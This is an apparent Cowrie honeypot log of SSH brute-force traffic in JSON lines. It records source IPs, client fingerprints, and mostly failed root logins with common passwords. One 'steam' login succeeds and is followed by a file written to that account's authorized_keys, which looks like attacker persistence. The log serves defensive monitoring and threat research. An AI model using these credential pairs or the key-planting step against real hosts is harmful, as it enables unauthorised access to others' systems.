{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.092541Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.096560Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"974272138c05","protocol":"ssh","message":"New connection: 15.204.225.76:33740 (10.17.0.5:22) [session: 974272138c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.103126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.107718Z","src_ip":"15.204.225.76","session":"974272138c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.118779Z","src_ip":"15.204.225.76","session":"974272138c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:48.193202Z","src_ip":"15.204.225.76","session":"974272138c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.209336Z","src_ip":"15.204.225.76","session":"974272138c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":33750,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb12dc1ee69","protocol":"ssh","message":"New connection: 15.204.225.76:33750 (10.17.0.5:22) [session: 0fb12dc1ee69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.215848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.220294Z","src_ip":"15.204.225.76","session":"0fb12dc1ee69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.230014Z","src_ip":"15.204.225.76","session":"0fb12dc1ee69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.307527Z","src_ip":"15.204.225.76","session":"0fb12dc1ee69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.321643Z","src_ip":"15.204.225.76","session":"393b2aa2182e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:49.329856Z","src_ip":"15.204.225.76","session":"0fb12dc1ee69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":54478,"dst_ip":"10.17.0.5","dst_port":22,"session":"2657951c4d54","protocol":"ssh","message":"New connection: 115.91.48.142:54478 (10.17.0.5:22) [session: 2657951c4d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:58.045692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:58.050375Z","src_ip":"115.91.48.142","session":"2657951c4d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:58.258284Z","src_ip":"115.91.48.142","session":"2657951c4d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW123456","message":"login attempt [root/wW123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:59.120839Z","src_ip":"115.91.48.142","session":"2657951c4d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:00.331209Z","src_ip":"115.91.48.142","session":"2657951c4d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":57660,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ffca90ac29a","protocol":"ssh","message":"New connection: 15.204.225.76:57660 (10.17.0.5:22) [session: 8ffca90ac29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:23.616645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:23.621708Z","src_ip":"15.204.225.76","session":"8ffca90ac29a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:23.633408Z","src_ip":"15.204.225.76","session":"8ffca90ac29a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd@123456","message":"login attempt [root/asd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:23.712206Z","src_ip":"15.204.225.76","session":"8ffca90ac29a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:24.726788Z","src_ip":"15.204.225.76","session":"8ffca90ac29a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":39384,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6cdfaada7d","protocol":"ssh","message":"New connection: 40.117.97.0:39384 (10.17.0.5:22) [session: 9c6cdfaada7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:26.971970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:27.013627Z","src_ip":"40.117.97.0","session":"9c6cdfaada7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:27.021929Z","src_ip":"40.117.97.0","session":"9c6cdfaada7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxx","message":"login attempt [root/xxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:27.114809Z","src_ip":"40.117.97.0","session":"9c6cdfaada7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:28.133516Z","src_ip":"40.117.97.0","session":"9c6cdfaada7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":36978,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b41c8bfda6","protocol":"ssh","message":"New connection: 43.173.90.78:36978 (159.203.135.109:22) [session: 31b41c8bfda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:32.822315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:32.826895Z","src_ip":"43.173.90.78","session":"31b41c8bfda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:32.894544Z","src_ip":"43.173.90.78","session":"31b41c8bfda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@12345","message":"login attempt [root/abcd@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:33.197662Z","src_ip":"43.173.90.78","session":"31b41c8bfda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:34.269150Z","src_ip":"43.173.90.78","session":"31b41c8bfda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53116,"dst_ip":"10.17.0.5","dst_port":22,"session":"8df040946418","protocol":"ssh","message":"New connection: 193.37.70.224:53116 (10.17.0.5:22) [session: 8df040946418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:37.615599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:37.620546Z","src_ip":"193.37.70.224","session":"8df040946418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:37.710989Z","src_ip":"193.37.70.224","session":"8df040946418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrovich","message":"login attempt [root/petrovich] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:37.981127Z","src_ip":"193.37.70.224","session":"8df040946418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:39.075423Z","src_ip":"193.37.70.224","session":"8df040946418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":38820,"dst_ip":"10.17.0.5","dst_port":22,"session":"b088c16bd294","protocol":"ssh","message":"New connection: 150.109.20.59:38820 (10.17.0.5:22) [session: b088c16bd294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:44.607441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:44.611111Z","src_ip":"150.109.20.59","session":"b088c16bd294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:44.840250Z","src_ip":"150.109.20.59","session":"b088c16bd294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@123","message":"login attempt [root/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:45.789276Z","src_ip":"150.109.20.59","session":"b088c16bd294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.023606Z","src_ip":"150.109.20.59","session":"b088c16bd294","protocol":"ssh"}
